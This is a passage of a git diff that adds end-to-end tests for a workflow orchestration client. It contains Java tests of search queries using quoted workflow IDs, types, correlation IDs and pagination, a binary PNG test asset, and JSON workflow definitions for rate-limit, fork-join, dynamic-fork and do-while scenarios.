startWorkflowRequest.setVersion(1); + + // Trigger workflow + workflowAdminClient.startWorkflow(startWorkflowRequest); + workflowAdminClient.startWorkflow(startWorkflowRequest); + // In search result when only this workflow searched 2 results should come + await().atMost(30, TimeUnit.SECONDS) + .pollInterval(100, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + workflowSummarySearchResult.set( + workflowAdminClient.search( + "workflowType IN (" + workflowName2 + ")")); + assertEquals(2, workflowSummarySearchResult.get().getResults().size()); + }); + + // In search result when both workflow searched then 4 results should come + await().atMost(30, TimeUnit.SECONDS) + .pollInterval(100, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + workflowSummarySearchResult.set( + workflowAdminClient.search( + "workflowType IN (" + + workflowName1 + + "," + + workflowName2 + + ")")); + assertEquals(4, workflowSummarySearchResult.get().getResults().size()); + }); + + // Terminate all the workflows + workflowSummarySearchResult + .get() + .getResults() + .forEach( + workflowSummary -> + workflowAdminClient.terminateWorkflow( + workflowSummary.getWorkflowId(), "test")); + + metadataAdminClient.unregisterWorkflowDef(workflowName1, 1); + metadataAdminClient.unregisterWorkflowDef(workflowName2, 1); + } + + @Test + public void testSearchByWorkflowIdWithDoubleQuotes() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + String taskName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + String workflowName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + + registerWorkflowDef(workflowName, taskName, metadataClient); + + StartWorkflowRequest startReq = new StartWorkflowRequest(); + startReq.setName(workflowName); + startReq.setVersion(1); + String workflowId = workflowClient.startWorkflow(startReq); + + // Search by workflowId with double quotes + await().atMost(30, TimeUnit.SECONDS) + .pollInterval(100, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + SearchResult result = + workflowClient.search("workflowId=\"" + workflowId + "\""); + assertEquals( + 1, + result.getResults().size(), + "Search by workflowId with double quotes should return 1 result"); + assertEquals(workflowId, result.getResults().get(0).getWorkflowId()); + }); + + workflowClient.terminateWorkflow(workflowId, "test cleanup"); + metadataClient.unregisterWorkflowDef(workflowName, 1); + } + + @Test + public void testSearchByWorkflowIdWithSingleQuotes() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + String taskName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + String workflowName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + + registerWorkflowDef(workflowName, taskName, metadataClient); + + StartWorkflowRequest startReq = new StartWorkflowRequest(); + startReq.setName(workflowName); + startReq.setVersion(1); + String workflowId = workflowClient.startWorkflow(startReq); + + // Search by workflowId with single quotes — this was broken before the fix + await().atMost(30, TimeUnit.SECONDS) + .pollInterval(100, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + SearchResult result = + workflowClient.search("workflowId='" + workflowId + "'"); + assertEquals( + 1, + result.getResults().size(), + "Search by workflowId with single quotes should return 1 result"); + assertEquals(workflowId, result.getResults().get(0).getWorkflowId()); + }); + + workflowClient.terminateWorkflow(workflowId, "test cleanup"); + metadataClient.unregisterWorkflowDef(workflowName, 1); + } + + @Test + public void testSearchByWorkflowTypeWithSingleQuotes() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + String taskName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + String workflowName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + + registerWorkflowDef(workflowName, taskName, metadataClient); + + StartWorkflowRequest startReq = new StartWorkflowRequest(); + startReq.setName(workflowName); + startReq.setVersion(1); + workflowClient.startWorkflow(startReq); + workflowClient.startWorkflow(startReq); + + // Search by workflowType with single quotes + await().atMost(30, TimeUnit.SECONDS) + .pollInterval(100, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + SearchResult result = + workflowClient.search("workflowType='" + workflowName + "'"); + assertEquals( + 2, + result.getResults().size(), + "Search by workflowType with single quotes should return 2 results"); + }); + + // Cleanup + SearchResult all = + workflowClient.search("workflowType='" + workflowName + "'"); + all.getResults() + .forEach( + wf -> workflowClient.terminateWorkflow(wf.getWorkflowId(), "test cleanup")); + metadataClient.unregisterWorkflowDef(workflowName, 1); + } + + @Test + public void testSearchWithMultipleConditionsAndSingleQuotes() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + String taskName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + String workflowName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + String correlationId = "corr-" + RandomStringUtils.randomAlphanumeric(10); + + registerWorkflowDef(workflowName, taskName, metadataClient); + + StartWorkflowRequest startReq = new StartWorkflowRequest(); + startReq.setName(workflowName); + startReq.setVersion(1); + startReq.setCorrelationId(correlationId); + String workflowId = workflowClient.startWorkflow(startReq); + + // Start another workflow without the correlationId to ensure filtering works + StartWorkflowRequest otherReq = new StartWorkflowRequest(); + otherReq.setName(workflowName); + otherReq.setVersion(1); + String otherWorkflowId = workflowClient.startWorkflow(otherReq); + + // Search with multiple single-quoted conditions — mimics getWorkflowsByCorrelationId + await().atMost(30, TimeUnit.SECONDS) + .pollInterval(100, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + SearchResult result = + workflowClient.search( + "correlationId='" + + correlationId + + "' AND workflowType='" + + workflowName + + "'"); + assertEquals( + 1, + result.getResults().size(), + "Multi-condition search with single quotes should return 1 result"); + assertEquals(workflowId, result.getResults().get(0).getWorkflowId()); + }); + + workflowClient.terminateWorkflow(workflowId, "test cleanup"); + workflowClient.terminateWorkflow(otherWorkflowId, "test cleanup"); + metadataClient.unregisterWorkflowDef(workflowName, 1); + } + + @Test + public void testSearchWithPaginationAndSort() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + String taskName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + String workflowName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + + registerWorkflowDef(workflowName, taskName, metadataClient); + + // Start 3 workflows + for (int i = 0; i < 3; i++) { + StartWorkflowRequest startReq = new StartWorkflowRequest(); + startReq.setName(workflowName); + startReq.setVersion(1); + workflowClient.startWorkflow(startReq); + } + + // Wait for all 3 to be indexed + await().atMost(30, TimeUnit.SECONDS) + .pollInterval(100, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + SearchResult result = + workflowClient.search("workflowType='" + workflowName + "'"); + assertEquals(3, result.getResults().size()); + }); + + // Search with pagination: page size 2, starting at 0 + SearchResult page1 = + workflowClient.search( + 0, 2, "workflowId:ASC", "*", "workflowType='" + workflowName + "'"); + assertEquals(3, page1.getTotalHits(), "Total hits should be 3"); + assertEquals(2, page1.getResults().size(), "Page 1 should have 2 results"); + + // Page 2 + SearchResult page2 = + workflowClient.search( + 2, 2, "workflowId:ASC", "*", "workflowType='" + workflowName + "'"); + assertEquals(3, page2.getTotalHits(), "Total hits should still be 3"); + assertEquals(1, page2.getResults().size(), "Page 2 should have 1 result"); + + // Verify no overlap between pages + List page1Ids = + page1.getResults().stream().map(WorkflowSummary::getWorkflowId).toList(); + List page2Ids = + page2.getResults().stream().map(WorkflowSummary::getWorkflowId).toList(); + page2Ids.forEach( + id -> + assertFalse( + page1Ids.contains(id), + "Pages should not have overlapping results")); + + // Cleanup + SearchResult all = + workflowClient.search("workflowType='" + workflowName + "'"); + all.getResults() + .forEach( + wf -> workflowClient.terminateWorkflow(wf.getWorkflowId(), "test cleanup")); + metadataClient.unregisterWorkflowDef(workflowName, 1); + } + + private void registerWorkflowDef( + String workflowName, String taskName, MetadataClient metadataClient1) { + TaskDef taskDef = new TaskDef(taskName); + taskDef.setOwnerEmail("test@conductor.io"); + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName(taskName); + workflowTask.setName(taskName); + workflowTask.setTaskDefinition(taskDef); + workflowTask.setWorkflowTaskType(TaskType.SIMPLE); + workflowTask.setInputParameters(Map.of("value", "${workflow.input.value}", "order", "123")); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setInputParameters(Arrays.asList("value", "inlineValue")); + workflowDef.setDescription("Workflow to monitor order state"); + workflowDef.setTasks(Arrays.asList(workflowTask)); + metadataClient1.updateWorkflowDefs(java.util.List.of(workflowDef)); + metadataClient1.registerTaskDefs(Arrays.asList(taskDef)); + } +} diff --git a/e2e/src/test/resources/assets/melon7391.png b/e2e/src/test/resources/assets/melon7391.png new file mode 100644 index 0000000000000000000000000000000000000000..3c7293f5ad77f1ddfea43f9e051fe05b1b2248b6 GIT binary patch literal 3574 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 + + + + + + + + + + + + + + + diff --git a/e2e/src/test/resources/metadata/.gitkeep b/e2e/src/test/resources/metadata/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/e2e/src/test/resources/metadata/broken_idempotency_logic_wf.json b/e2e/src/test/resources/metadata/broken_idempotency_logic_wf.json new file mode 100644 index 0000000..42cb6af --- /dev/null +++ b/e2e/src/test/resources/metadata/broken_idempotency_logic_wf.json @@ -0,0 +1,27 @@ +{ + "name": "broken_idempotency_logic_wf", + "description": "This workflow is used in a test that shows that idempotency logic is broken due to deletion. The wf does nothing.", + "version": 1, + "tasks": [ + { + "name": "terminate", + "taskReferenceName": "terminate_ref", + "inputParameters": { + "terminationStatus": "COMPLETED", + "terminationReason": "Done!" + }, + "type": "TERMINATE", + "startDelay": 0, + "optional": false + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "failureWorkflow": "" +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/concurrency_check_http.json b/e2e/src/test/resources/metadata/concurrency_check_http.json new file mode 100644 index 0000000..55ffe6c --- /dev/null +++ b/e2e/src/test/resources/metadata/concurrency_check_http.json @@ -0,0 +1,49 @@ +{ + "createTime": 1732289485210, + "updateTime": 1732269106535, + "name": "concurrency-check-workflow-http", + "description": "Test Rate Limit via HTTP task", + "version": 1, + "tasks": [ + { + "name": "http", + "taskReferenceName": "http_ref", + "inputParameters": { + "uri": "https://orkes-api-tester.orkesconductor.com/api", + "method": "GET", + "connectionTimeOut": 3000, + "readTimeOut": "3000", + "accept": "application/json", + "contentType": "application/json" + }, + "type": "HTTP", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "rateLimitConfig": { + "rateLimitKey": "concurrency-check-workflow-http", + "concurrentExecLimit": 2 + }, + "enforceSchema": true +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/concurrency_check_wait30.json b/e2e/src/test/resources/metadata/concurrency_check_wait30.json new file mode 100644 index 0000000..047c504 --- /dev/null +++ b/e2e/src/test/resources/metadata/concurrency_check_wait30.json @@ -0,0 +1,33 @@ +{ + "createTime": 1732289485210, + "updateTime": 1732269106535, + "name": "concurrency-check-workflow-wait", + "description": "Test Rate Limit via WAIT task", + "version": 1, + "tasks": [ + { + "name": "wait", + "taskReferenceName": "wait_ref", + "type": "WAIT", + "inputParameters": { + "duration": "30 seconds" + } + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "rateLimitConfig": { + "rateLimitKey": "concurrency-check-workflow-wait", + "concurrentExecLimit": 41 + }, + "enforceSchema": true +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/context_concurrency_issue.json b/e2e/src/test/resources/metadata/context_concurrency_issue.json new file mode 100644 index 0000000..be625e0 --- /dev/null +++ b/e2e/src/test/resources/metadata/context_concurrency_issue.json @@ -0,0 +1,107 @@ +{ + "name": "context_concurrency_issue", + "description": "context propagation issue", + "version": 1, + "schemaVersion": 2, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "tasks": [ + { + "name": "fork", + "taskReferenceName": "fork_ref", + "inputParameters": {}, + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "concurrency_issue", + "taskReferenceName": "concurrency_issue_0", + "inputParameters": {}, + "type": "SIMPLE" + } + ], + [ + { + "name": "concurrency_issue", + "taskReferenceName": "concurrency_issue_1", + "inputParameters": {}, + "type": "SIMPLE" + } + ], + [ + { + "name": "concurrency_issue", + "taskReferenceName": "concurrency_issue_2", + "inputParameters": {}, + "type": "SIMPLE" + } + ], + [ + { + "name": "concurrency_issue", + "taskReferenceName": "concurrency_issue_3", + "inputParameters": {}, + "type": "SIMPLE" + } + ], + [ + { + "name": "concurrency_issue", + "taskReferenceName": "concurrency_issue_4", + "inputParameters": {}, + "type": "SIMPLE" + } + ], + [ + { + "name": "concurrency_issue", + "taskReferenceName": "concurrency_issue_5", + "inputParameters": {}, + "type": "SIMPLE" + } + ], + [ + { + "name": "concurrency_issue", + "taskReferenceName": "concurrency_issue_6", + "inputParameters": {}, + "type": "SIMPLE" + } + ], + [ + { + "name": "concurrency_issue", + "taskReferenceName": "concurrency_issue_7", + "inputParameters": {}, + "type": "SIMPLE" + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "join", + "taskReferenceName": "join_ref", + "inputParameters": {}, + "type": "JOIN", + "joinOn": [ + "concurrency_issue_0", + "concurrency_issue_1", + "concurrency_issue_2", + "concurrency_issue_3", + "concurrency_issue_4", + "concurrency_issue_5", + "concurrency_issue_6", + "concurrency_issue_7" + ], + "permissive": false + } + ] +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/cpewf_task_id_dyn_fork_task_def.json b/e2e/src/test/resources/metadata/cpewf_task_id_dyn_fork_task_def.json new file mode 100644 index 0000000..2f82238 --- /dev/null +++ b/e2e/src/test/resources/metadata/cpewf_task_id_dyn_fork_task_def.json @@ -0,0 +1,19 @@ +{ + "name": "fail_on_purpose", + "description": "test", + "retryCount": 2, + "timeoutSeconds": 20, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "FIXED", + "retryDelaySeconds": 1, + "responseTimeoutSeconds": 2, + "concurrentExecLimit": 0, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "pollTimeoutSeconds": 3600, + "backoffScaleFactor": 1, + "ownerEmail": "test@conductor.io" +} diff --git a/e2e/src/test/resources/metadata/cpewf_task_id_dyn_fork_wf.json b/e2e/src/test/resources/metadata/cpewf_task_id_dyn_fork_wf.json new file mode 100644 index 0000000..b1cb2b1 --- /dev/null +++ b/e2e/src/test/resources/metadata/cpewf_task_id_dyn_fork_wf.json @@ -0,0 +1,76 @@ +{ + "name": "mailbot_workflow", + "description": "CPEWF issue + dyn task issue", + "version": 219, + "tasks": [ + { + "name": "inline", + "taskReferenceName": "inline_ref", + "inputParameters": { + "expression": "[\n {\n \"name\": \"fail_on_purpose\",\n \"taskReferenceName\": \"fail_on_purpose_ref\",\n \"inputParameters\": {\n \"task_id\": \"$\"+\"{CPEWF_TASK_ID}\"\n },\n \"type\": \"SIMPLE\",\n \"defaultCase\": [],\n \"forkTasks\": [],\n \"startDelay\": 0,\n \"joinOn\": [],\n \"optional\": false,\n \"defaultExclusiveJoinTask\": [],\n \"asyncComplete\": false,\n \"loopOver\": []\n }\n]", + "evaluatorType": "graaljs" + }, + "type": "INLINE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "extracted_file_data_fork", + "taskReferenceName": "extracted_file_data_fork_ref", + "inputParameters": { + "dynamicTasks": "${inline_ref.output.result}", + "dynamicTasksInput": {} + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "extracted_file_data_join", + "taskReferenceName": "extracted_file_data_join_ref", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "expression": "(function(){\n let results = {};\n let pendingJoinsFound = false;\n if($.joinOn){\n $.joinOn.forEach((element)=>{\n if($[element] && $[element].status !== 'COMPLETED'){\n results[element] = $[element].status;\n pendingJoinsFound = true;\n }\n });\n if(pendingJoinsFound){\n return {\n \"status\":\"IN_PROGRESS\",\n \"reasonForIncompletion\":\"Pending\",\n \"outputData\":{\n \"scriptResults\": results\n }\n };\n }\n // To complete the Join - return true OR an object with status = 'COMPLETED' like above.\n return true;\n }\n})();", + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "ownerEmail": "test@conductor.io" +} diff --git a/e2e/src/test/resources/metadata/do_while_early_script_eval_wf.json b/e2e/src/test/resources/metadata/do_while_early_script_eval_wf.json new file mode 100644 index 0000000..12ae808 --- /dev/null +++ b/e2e/src/test/resources/metadata/do_while_early_script_eval_wf.json @@ -0,0 +1,606 @@ +[{ + "createTime": 1697213475858, + "updateTime": 1697813767122, + "name": "DoWhileEarlyEvalScript", + "description": "asd", + "version": 5, + "tasks": [ + { + "name": "platform_reserve_token", + "taskReferenceName": "reserve_token_ref", + "inputParameters": { + "resource_pool_name": "predictionspipelinespool", + "sublimit_id": "none" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "name": "platform_reserve_token", + "description": "asd", + "retryCount": 3, + "timeoutSeconds": 3600, + "inputKeys": [ + "resource_pool_name", + "sublimit_id" + ], + "outputKeys": [ + "token_id" + ], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 600, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "test@conductor.io", + "backoffScaleFactor": 1 + }, + "rateLimited": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "platform_acquire_token", + "taskReferenceName": "acquire_token_ref", + "inputParameters": { + "resource_pool_name": "predictionspipelinespool", + "token_id": "${reserve_token_ref.output.token_id}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "name": "platform_acquire_token", + "description": "asd", + "retryCount": 5, + "timeoutSeconds": 0, + "inputKeys": [ + "resource_pool_name", + "token_id" + ], + "outputKeys": [ + "acquired_at" + ], + "timeoutPolicy": "RETRY", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 600, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "test@conductor.io", + "backoffScaleFactor": 1 + }, + "rateLimited": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "predictions_daily_bq_export_pipeline_loop", + "taskReferenceName": "predictions_daily_bq_export_pipeline_loop", + "description": "asd", + "inputParameters": {}, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "rateLimited": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "evaluatorType": "graaljs", + "loopCondition": "const a = 1; if ($.predictions_process_daily_bq_export_pipeline_results.is_pipeline_failure === true && $.predictions_daily_bq_export_pipeline_loop['iteration'] < 3) { true; } else { false; }", + "loopOver": [ + { + "name": "predictions_start_daily_bq_export_pipeline", + "taskReferenceName": "predictions_start_daily_bq_export_pipeline", + "description": "asd", + "inputParameters": { + "namespace_id": "${workflow.input.namespace_id}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "name": "predictions_start_daily_bq_export_pipeline", + "description": "asd", + "retryCount": 5, + "timeoutSeconds": 360, + "inputKeys": [ + "namespace_id" + ], + "outputKeys": [ + "pipeline_uid", + "query_end_time", + "pipeline_started_at_rfc", + "namespace_enabled" + ], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 360, + "responseTimeoutSeconds": 360, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "test@conductor.io", + "backoffScaleFactor": 1 + }, + "rateLimited": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "if_terminate_condition", + "taskReferenceName": "if_terminate_condition", + "inputParameters": { + "switchCaseValue": "${predictions_start_daily_bq_export_pipeline.output.namespace_enabled}" + }, + "type": "SWITCH", + "decisionCases": { + "false": [ + { + "name": "platform_return_token", + "taskReferenceName": "return_token_namespace_not_enabled", + "inputParameters": { + "resource_pool_name": "predictionspipelinespool", + "token_id": "${reserve_token_ref.output.token_id}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "name": "platform_return_token", + "description": "asd", + "retryCount": 3, + "timeoutSeconds": 3600, + "inputKeys": [ + "resource_pool_name", + "token_id" + ], + "outputKeys": [ + "is_token_returned", + "returned_at", + "previously_returned" + ], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 600, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "test@conductor.io", + "backoffScaleFactor": 1 + }, + "rateLimited": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "platform_workflow_complete", + "taskReferenceName": "workflow_complete_namespace_not_enabled", 